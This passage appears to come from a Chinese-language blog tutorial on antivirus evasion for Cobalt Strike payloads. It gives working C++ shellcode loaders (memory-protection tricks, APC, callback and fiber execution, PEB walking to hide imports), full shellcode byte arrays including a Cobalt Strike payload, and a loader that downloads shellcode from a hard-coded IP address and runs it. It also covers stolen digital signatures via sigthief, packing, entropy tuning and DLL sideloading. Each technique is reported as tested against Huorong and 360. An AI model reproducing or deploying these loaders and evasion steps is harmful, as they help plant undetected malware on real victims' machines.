LPVOID addr = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(addr, shellcode.data(), shellcode.size()); HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); WaitForSingleObject(hThread, INFINITE); return 0; }
|

Shellcode加载器处理
指针运行
((void(*)())addr)()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() { unsigned char buf[] = "\xfc\x48\x83...";
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(addr, buf, sizeof(buf)); ((void(*)())addr)(); }
|
1 2 3 4
| ((void(*)())addr)();
void (*func)() = (void(*)())adC++dr; func();
|
将addr强制转换为一个函数指针,无参数无返回值。
转换后立即调用该函数,跳转并执行内存地址addr处的指令 -> 即shellcode
正常对shellcode不做处理可以正常上线,但是使用sgn处理过的shellcode就无法上线了。。有些奇怪。
修改内存属性
有些杀软会查杀程序中是否使用了VirtualAlloc来申请内存,故可以不申请内存,直接执行unsigned char buf[]的内存中的shellcode
1 2 3 4 5 6 7 8 9
| #include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; ((void(*)()) & buf) (); }
|
但是还不够,因为unsigned char buf[]处的内存原有属性可能不可执行,需要修改内存属性,shellcode换成CS:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() { unsigned char buf[] = "\xe8\xa0\x03\x00\x00\xeb\x04\xf2\xa7\x92\x97\x40\x11\xcc\xf4\x0d\x1c\x07\xff\x11\x00\x00\xa9\xbc\xcc\xfe\xdf\x00\x44\x30\x24\x08\x44\x02\x24\x08\xe2\xf6\x40\xed\xd0\xfa\xf6\xb8\xb3\x97\x97\x7f\xb7\xb7\xb7\x37\x74\xa5\xc4\x10\xa0\xcd\x1b\x13\x82\x8e\xeb\x93\x94\x06\x56\x18\x13\x31\xa9\xdd\x56\xc4\xd4\x9a\xed\x1f\x4f\xf7\xf6\xbd\xe7\x2d\x1e\xaf\x56\xdc\xed\x2d\x79\x85\x14\x64\x16\x3a\x98\xd9\x86\x4f\x40\x01\xfe\xbf\x9d\x4c\x9c\xdd\x0c\x32\x35\x67\x37\x38\x02\xbe\xf4\xf5\xd9\xbf\xbe\xb6\xa8\xa3\x59\xc8\xa4\x2f\xaf\x27\x27\x27\x97\xdf\x5a\x52\xd8\x3f\x77\x76\x06\x40\xcb\x73\x63\x17\x1c\x1c\xba\xf3\xf2\xdc\xbf\xe9\x5d\x10\xd9\x86\xed\xd9\x41\x09\xe4\xa8\x85\x22\xeb\x43\x72\xaa\x84\xc5\xf2\x23\xac\xed\xea\xcb\xf3\xeb\x5c\x2d\x5d\x5e\xca\xee\xe4\x51\x46\x57\x92\xaa\xea\xa8\xa3\x9b\x3f\x74\x75\x59\xbf\xf8\x6b\x57\x9f\xdb\x50\xe8\xe2\xab\x0a\xd8\x85\x0e\x0a\x72\x38\xb9\x69\x88\xce\x6f\x87\xd9\x7c\xa4\xd5\x0d\xaa\xf3\x02\x58\x0e\x4d\xa1\x01\xbc\x10\xef\xef\x37\x44\x99\x33\x7b\xcc\x1c\xe9\x58\x57\x56\x11\x88\xe2\xd0\x65\x13\x92\xe3\x4d\xd8\x34\xa9\xdd\xdd\x10\xb4\xfd\x68\x0e\x30\x39\xc6\x77\xcd\x7d\xc2\xda\x21\xdc\x89\xa1\x0e\x37\x7f\xae\x62\xcf\xfe\xbc\xf1\x3e\xf7\x36\x64\x85\xd5\x60\x9a\x1c\xa8\x8d\xd4\x83\x80\x8b\xc4\x1e\x44\xcd\x8a\xab\xd3\x6d\x4f\x4f\x4f\xe0\xc1\x86\x27\x74\xb5\x10\x74\x77\xb4\xe5\x50\xc4\x83\xf4\x63\x59\x04\x0d\xd4\x69\xa2\xe8\x61\x10\x16\x87\x45\x0a\x73\x13\x1c\xad\x40\xc2\xaa\xaa\x28\x60\xc0\x12\xbe\xff\xb1\x50\xf9\xa7\x62\x1d\xc8\x7e\xf7\xa1\xe5\x60\x03\x83\xd5\xdf\x70\x26\x4f\x3e\x64\xc9\x83\xc4\x83\xbb\xba\xb9\xb8\xb7\xf8\xc9\xfc\x0e\x5a\xdb\x19\x28\x0e\xe0\x63\x12\xc7\x42\x7c\x6b\xcc\x51\x50\x50\x40\xf6\xf5\x24\x23\x97\x1b\x1a\x1a\xc4\x8f\x9a\x6b\x8f\x8e\x8e\x4e\xa6\xfa\xf9\xf8\xf7\x16\x99\xfa\x43\x7b\x73\xf0\x0c\x77\x05\xe7\x24\x77\x12\x9a\xdd\xe1\xa9\xa4\x70\x5f\x98\xfe\x4e\x9b\xa7\x73\xf4\x25\x50\xce\x67\x45\x0d\xf5\x3f\x75\xb5\x9a\x9c\xf5\x4e\xbd\x59\xa3\x19\x5c\xc9\xdc\x86\x54\x2d\xee\xd1\xee\xda\xf1\x46\x00\x46\xdd\xee\x77\x4f\x54\x4e\x5e\x49\xbe\x5b\x6a\xd6\x43\xe2\x10\xb9\xb0\x0a\x21\x99\x2a\x91\xf0\x78\x55\xca\x2d\xb4\x12\x16\x2c\xf2\x3f\xac\x04\x6d\xf9\x55\x2a\xe5\x8c\x42\x72\x02\xa4\x37\x86\x0b\x7b\xd2\x54\xb9\x03\x6f\xf4\x8f\x2f\x5c\x8f\xc4\x41\x11\xd4\xfa\xb4\x4f\x4f\xc6\x2f\xb9\x01\x80\xf7\x44\x58\x96\x82\x5a\x10\x3c\xe9\x92\x0c\x43\xe2\x49\x7f\x2b\xd0\xc8\x58\xa8\x39\x9d\xe4\x62\xc8\x87\xaa\x64\x22\xd9\xf5\x27\x56\x9f\x98\x5d\x64\x9d\xd3\x0e\x0f\x14\x05\x0f\xef\x8d\xca\x4c\x9b\xd3\x8e\x2d\xe9\xd7\xa8\x19\x9a\x90\xc2\xd8\x98\xed\x6e\x5f\xbe\x1e\x99\x7c\x2f\x38\x77\xfb\x05\x0b\xc8\x40\xfa\xb2\x51\x4b\x8f\xdf\x34\x0c\xa9\xfe\xa8\xfd\xa0\x96\x93\x32\x9d\x46\x0c\x73\x59\xd9\xb2\xde\xca\xc0\x7d\x16\xef\xca\x6a\xaa\x28\xdd\xa8\x25\x2b\xd2\x0f\xb0\xbf\x68\x4d\x15\x8c\xdc\x04\x77\x33\xf9\xe3\xf8\xba\xd5\x46\x64\x6a\x9a\xec\x9d\x0c\x86\x51\x94\xcf\x68\x72\xa8\xc2\x78\x21\xc2\x42\x96\x4c\xda\x0a\xdd\xfd\xf2\x15\x09\x88\x14\xc6\xfd\x1e\x42\x2a\x94\x61\xcb\x14\x69\x7e\xde\x1e\x5f\x80\x17\x9e\x9d\xe1\x50\xb4\x54\x67\xbe\x37\x59\x49\x38\x69\x8a\x74\x09\xcd\xaf\x5c\x00\x0d\xe3\x91\xeb\x12\x96\xea\xa5\xaf\x30\xd5\xe5\xd1\x13\xff\xb9\x56\x7b\xe0\x1d\x78\xf6\x0d\x6d\xf8\x89\x91\x91\x45\xa3\x78\xde\x19\x18\xe2\x71\x48\xed\xd8\x96\xac\x63\xbf\xd2\x48\xfc\xd9\x65\x24\xf4\x3a\x46\x16\xd0\x3a\xb8\x85\xbb\x23\x56\xc8\x60\x1f\xca\x60\x41\x74\xce\xce\xce\x8e\x0c\x2d\x95\x95\x85\x85\x05\x32\x0b\x4b\x4b\x4b\x4b\xea\xa0\xf0\x52\xf9\xe2\x9d\x48\xfe\x49\x94\x37\x7f\xe8\x8f\xb7\xbc\x4d\xf5\x78\x20\x11\xa9\xa9\x89\x89\x09\x3e\x47\x3c\x79\xa3\x8d\x1b\x52\x4e\x09\xdc\x92\x89\x0d\x2d\x28\x00\x08\x3e\x46\xc1\x36\x7c\x79\xb0\xb5\x75\xfe\x89\x21\x79\x91\xd1\xd4\xd4\xd4\xd4\xd4\x02\x31\xa5\xc0\xc1\xc0\x3f\xee\x9c\x51\x7f\x2b\xc5\x8b\xb4\x77\x19\xc8\xf6\xc3\xb3\x75\x2b\x23\xeb\x04\x9d\x4f\x1d\xec\x41\x5b\xeb\x04\xb5\x9d\x0a\xc3\x41\x81\x73\x06\x01\xa5\x5e\xbc\x48\xff\xcf\x48\xff\xc7\xeb\x04\x4f\xa3\x63\x9e\x41\xc1\x4b\x0a\x2a\xeb\x04\xcd\xd4\xa6\x89\x41\xc1\x43\x0e\x9b\x41\x81\x43\x12\x49\x3c\x01\x20\x41\xff\xe3"; DWORD oldProject = 0; VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); ((void(*)()) & buf) (); }
|
使用sgn对shellcode进行加密后对火绒免杀

火绒貌似不用测了,通过近击此对火绒免杀的测试,火绒只看shellcode,只要对shellcode的加密到位,火绒就不会报毒。
又用360进行了测试,360免杀

网络分离 + 修改内存属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| #include <windows.h> #include <winhttp.h> #include <iostream>
#pragma comment(lib, "winhttp.lib")
const size_t MAX_BUFFER_SIZE = 1024 * 400; unsigned char buf[MAX_BUFFER_SIZE]; size_t bufOffset = 0; HINTERNET winhttp_init() { HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (!hSession) { std::cerr << "Failed to open WinHTTP session." << std::endl; } HINTERNET hConnect = WinHttpConnect(hSession, L"101.42.13.105", 80, 0); if (!hConnect) { std::cerr << "Failed to connect to server." << std::endl; WinHttpCloseHandle(hSession); } HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/1.txt", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); if (!hRequest) { std::cerr << "Failed to create HTTP request." << std::endl; WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); } if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { std::cerr << "Failed to send HTTP request." << std::endl; WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); } if (!WinHttpReceiveResponse(hRequest, NULL)) { std::cerr << "Failed to receive HTTP response." << std::endl; WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); } return hRequest; } void datacopy(HINTERNET hRequest, unsigned char tmpbuf[]) { DWORD dwSize = 0; DWORD dwDownloaded = 0; do { dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { std::cerr << "Error querying data size." << std::endl; break; }
unsigned char* pszOutBuffer = new unsigned char[dwSize + 1]; if (!pszOutBuffer) { std::cerr << "Out of memory." << std::endl; break; }
ZeroMemory(pszOutBuffer, dwSize + 1); if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) { std::cerr << "Error reading data." << std::endl; } else { if (bufOffset + dwDownloaded > MAX_BUFFER_SIZE) { std::cerr << "Global buffer overflow!" << std::endl; delete[] pszOutBuffer; break; }
memcpy(tmpbuf + bufOffset, pszOutBuffer, dwDownloaded); bufOffset += dwDownloaded;
std::cout << "Received " << dwDownloaded << " bytes." << std::endl; }
delete[] pszOutBuffer;
} while (dwSize > 0); } int main() {
HINTERNET hRequest = winhttp_init(); datacopy(hRequest, buf); DWORD oldProtect = 0; if (!VirtualProtect(buf, bufOffset, PAGE_EXECUTE_READ, &oldProtect)) { return -1; } ((void(*)(void)) & buf)();
return 0; }
|
也可以过360免杀

第二天又测试了以下火绒,发现如果请求的是http://101.42.13.105/pd.bin就会杀,但是请求.txt就不杀,那么只需要把.bin后缀改成.txt即可。
修改data段属性
修改data段属性可以避免使用VirtualProtect这个敏感的windows api函数
因为全局变量默认存储在data段,那么将data段的属性设置为”可读可写可执行”即可。
1 2 3 4 5 6 7 8 9 10 11
| #include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") #pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "\xe8\xa0\x03\x00...";
void main() { ((void(*)()) & buf) (); }
|
火绒和360报毒
新增数据段
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") #pragma data_seg("vdata") unsigned char buf[] = "\xe8\xa0\x03\x00..."; #pragma data_seg() #pragma comment(linker, "/section:vdata,RWE")
void main() { ((void(*)()) & buf) (); }
|
火绒和360报毒
堆加载
除了修改数据段内存属性外,还可以通过HeapCreate api获取一个具有执行权限的堆,并在其中分配一块内存,并将shellcode复制到这块内存中,这样可以规避VirtualProtect、VirtualAlloc这些windows api敏感函数
1 2 3 4 5 6 7 8 9 10 11
| #include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] = "\xe8\xa0\x03...";
void main() { HANDLE heapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0); char* addr = (char*)HeapAlloc(heapHandle, HEAP_ZERO_MEMORY, sizeof(buf)); memcpy(addr, buf, sizeof(buf)); ((void(*)()) addr)(); }
|
火绒、360报毒
APC注入运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <windows.h> #include <stdio.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef DWORD(WINAPI* pNtTestAlert)();
void main() { unsigned char buf[] = "\xe8\xa0\x03..."; DWORD oldProject; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject);
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL); NtTestAlert(); }
|
火绒过,360杀
回调函数运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <windows.h> #include <stdio.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef DWORD(WINAPI* pNtTestAlert)();
void main() { unsigned char buf[] = "\xe8\xa0\x03..."; DWORD oldProject; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); EnumDateFormatsA((DATEFMT_ENUMPROCA)&buf, NULL, NULL); }
|
火绒过、360杀
EnumUILanguages
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <windows.h> #include <stdio.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef DWORD(WINAPI* pNtTestAlert)();
void main() { unsigned char buf[] = "\xe8\xa0\x03..."; DWORD oldProject; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); EnumUILanguages((UILANGUAGE_ENUMPROCW)&buf, NULL, NULL); }
|
火绒过、360杀
创建纤程运行
纤程是一种用户级别的线程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include <windows.h> #include <stdio.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef DWORD(WINAPI* pNtTestAlert)();
void main() { unsigned char buf[] = "\xe8\xa0\x03..."; DWORD oldProject; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject); ConvertThreadToFiber(NULL); void* bufFiber = CreateFiber(0,(LPFIBER_START_ROUTINE)(LPVOID)buf, NULL); SwitchToFiber(bufFiber); DeleteFiber(bufFiber); }
|
火绒过、360杀
动态api函数加载
不直接使用形如 VirtualAlloc 的 Windows API了,而是通过 GetProcAddress 动态获取,绕过对敏感 Windows API的检测。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| #include <windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef LPVOID(WINAPI* myVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
typedef HANDLE(WINAPI* myCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
typedef VOID(WINAPI* vRtlMoveMemory)( IN VOID UNALIGNED* Destination, IN CONST VOID UNALIGNED* Source, IN SIZE_T Length );
typedef DWORD(WINAPI* dwWaitForSingleObject)( HANDLE hHandle, DWORD dwMilliseconds );
unsigned char buf[] = "\xe8\xa0\x03...";
void main() { myVirtualAlloc myVT = (myVirtualAlloc)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "VirtualAlloc")); myCreateThread myCT = (myCreateThread)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "CreateThread")); vRtlMoveMemory mvMemory = (vRtlMoveMemory)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "RtlMoveMemory")); dwWaitForSingleObject waitFSO = (dwWaitForSingleObject)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "WaitForSingleObject"));
LPVOID addr = myVT(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
mvMemory(addr, buf, sizeof(buf));
HANDLE hThread = myCT(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); waitFSO(hThread, -1); CloseHandle(hThread); }
|
更隐蔽一些隐藏 GetProcAddress,这样导入表中就发现不了敏感 Windows API函数了。
首先新建项
1
| GetInitializationOrderModuleList.asm
|

在 GetInitializationOrderModuleList.asm 中添加代码:
1 2 3 4 5 6 7 8
| .CODE GetInInitializationOrderModuleList PROC mov rax,gs:[60h] ; PEB,注意,这里不能写0x60 mov rax,[rax+18h] ; PEB_LDR_DATA mov rax,[rax+30h] ; InInitializationOrderModuleList ret ; 这里不能写retn GetInInitializationOrderModuleList ENDP END
|
编辑属性


1 2
| 命令行:ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm 输出:$(IntDir)%(FileName).obj
|
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| #include<Windows.h> #include<stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();
HMODULE getKernel32Address() { LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); while (1) { UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38); if (*(FullDllName->Buffer + 12) == '\0') { return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10))); } pNode = pNode->Flink; } }
DWORD64 getGetProcAddress(HMODULE hKernal32) { PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY) ((LONG64)baseAddr + pImageNt -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir -> AddressOfFunctions); PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir -> AddressOfNameOrdinals);
for (size_t i = 0; i < exportDir->NumberOfNames; i++) { LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); if (!strcmp((const char*)FunctionName, "GetProcAddress")) { return F_va_Tmp; } } }
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() { unsigned char sc[] = "\xe8\xa0\x03..."; HMODULE hKernal32 = getKernel32Address(); pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32);
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect"); pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread"); pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject"); DWORD oldProtect; VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)sc, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0; }
|
编译器与PE文件处理
前言
做免杀时,会遇到shellcode加密了,加载器代码做了动态加载和优化,但是依然会被杀软报毒,所以要对exe进行一定处理。
1、编译参数
2、数字签名
3、详细的版本信息
可以通过控制变量法找到杀软的查杀点,进行定向免杀。
MD和MT的区别
MD (动态链接运行库):程序自己不携带C运行库,借用系统里已经安装好的DLL文件,但是若目标机器中没有对应的DLL,程序将运行失败
MT (静态链接运行库):程序携带C运行库,不依赖外部DLL,但是体积更大

当MD杀的时候,尝试切换MT。
编译器
使用不同的编译器免杀效果也不同
1、VS
2、gcc
3、Intel C++
加数字签名
使用 sigthief.py脚本
1
| python sigthief.py -i 360.exe -t shellcode.exe -o shellcode_sign.exe
|

加数字签名前:360查杀

加数字签名后,过了360

但是签名的确是伪造的

当然也可以进行自签名。
添加资源信息
使用ResourceHakcer.exe工具

添加资源信息前:

添加资源文件后:

但是只加上资源信息是过不了360的,所以最好数字签名和资源信息一块儿加上。
先添加资源文件,再添加数字签名,轻松过360

加壳
upx加壳
经测试,upx -9 shellcode.exe过不了360,但是过火绒还是可以的。
Shielden加壳

vmp加壳

检查PE文件的熵值
文件的熵值被用于衡量系统的混乱程度,熵值越大,说明混乱程度越高
熵值的大小也被用域检测PE文件病毒,一般合法软件的熵值在4.8 - 7.2之间
所以加壳后需要看一下文件熵值是否超过7.2
拿vmp加壳后的shellcode.vmp.exe为例

明显高了,所以被360杀了也算正常了。
Shielden加壳PE文件的熵值在 7.66左右

upx加壳1-9的范围在6.799~6.975之间

白加黑
白加黑概念
白:带有有效数字签名的可执行文件,通常为exe文件
黑:恶意代码所在文件,通常为DLL
什么是DLL文件
DLL 中文全程叫做 动态链接库(Dynamic Link Library,简称 DLL)是一种 Windows 操作系统中的 共享文件,包含一系列可供程序共用的函数、数据和资源。DLL 文件中存放的是各类程序的函数实现过 程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,昀后进行调用。使用DLL文件的好 处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从 DLL 中取出。dll 文件 和 exe 文件一样都是 PE 文件
上线原理
白程序 -> 黑DLL -> DLLMain/导出函数 -> 执行shellcode加载器代码 -> CS上线
DLL文件结构
Visual Studio新建项目 - 动态链接库

新建项目目录结构

(1) framework.h
用于包含项目中需要使用的头文件,默认包含<windows.h>

(2) pch.h
预编译标头文件,DLL的导出函数在此处定义

(3) dllmain.cpp
包含程序的入口点,可以理解为入口函数,在dllmain.cpp中实现在pch.h中定义的函数,也可以在其他cpp文件中实现,比如pch.cpp等。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
(4) pch.cpp
一般用于存放导出函数

编译一个DLL
pch.cpp中定义导出函数
1 2 3 4 5 6
| #include "pch.h"
int sum(int a, int b) { return a + b; }
|
pch.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #ifndef PCH_H #define PCH_H
#include "framework.h"
#endif
#ifdef Dll1_EXPORTS #define API_DECLSPECKM _declspec(dllexport) #else #define API_DECLSPECKM _declspec(dllimport) #endif
extern "C" API_DECLSPECKM int sum(int a, int b);
|
Ctrl + B生成DLL

查看DLL导出函数
Visual Studio 2022自带工具 Visual Studio 2022 Developer Command Prompt
1
| dumpbin /exports E:\免杀\Dll1\x64\Release\Dll1.dll
|

DLL调试
因为DLL文件不能直接运行,所以需要新建一个exe项目对其进行调试
右键【解决方案】 -> 【添加】 -> 【新建项目】

选择新建”控制台应用”,新建后解决方案下就多出了刚刚新建的项目

编写DLLTest.cpp
1 2 3 4 5 6 7 8 9 10
| #include <iostream> #include <Windows.h> using namespace std;
int main() { HMODULE dll1 = LoadLibrary(L"Dll1.dll"); typedef int(*ptrSum)(int a, int b); ptrSum sum = (ptrSum)GetProcAddress(dll1, "sum"); cout << sum(1, 2) << endl; }
|
最后右键【DLLTest】 -> 【设置为启动项目】

最后生成解决方案即可


成功运行

此时进行DLL调试,打断点,需要注意的是,无论是修改代码或打断点后,都需要重新生成解决方案再进行调试

然后点击【Windows本地调试器】进行本地调试

按【F5】退出调试。
白加黑制作上线CS
SkyShadow工具
首先将SkyShadow-main\Tools添加至环境变量

1
| python SkyShadow.py "目标文件加路径"
|

会生成一个Payload目录,其中标有数字签名的可能是我们需要的白程序

尝试运行 identity_helper.exe,发现提示缺少 msedge_elf.dll,无法正常运行

再看生成的.txt文件,标注了缺少的dll和需要的具体函数,按照缺少的东西制作黑DLL即可

制作黑DLL上线CS
直接将导出函数放在dllmain.cpp中即可,直接把txt中写好的导出函数复制过去即可

【生成解决方案】后,将dll文件放至目标exe目录下,运行exe,可以看到两个函数都被调用了

GetInstallDetailsPayload() 被调用

SignalInitializeCrashReporting() 被调用

所以在两个函数中的任意一个写shellcode加载器即可,现尝试弹计算器的shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| #include "pch.h"
